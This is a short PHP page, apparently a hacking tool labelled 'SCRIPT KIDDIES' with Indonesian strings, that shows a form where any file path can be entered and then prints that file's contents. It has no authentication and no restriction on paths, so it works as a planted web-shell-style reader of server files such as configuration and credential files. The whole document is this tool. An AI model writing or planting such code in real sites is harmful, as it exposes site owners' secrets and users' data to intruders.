Open File

<?php
if($_POST["buka"] == "Buka") {
$file = $_POST["file"];
if(file_exists($file)) {
$filex = htmlentities(file_get_contents($file));
 }
if(!$filex) {
$filex = "Error Cuk :P";
}
}
?>
<!-- SCRIPT KIDDIES -->
<form method="POST">
<textarea cols="50" rows="20"><? echo $filex; ?></textarea><br>
<nobr>File : <input name="file" type="text" value="ids.txt" size="40"> <input type="submit" name="buka" value="Buka"></nobr>
</form>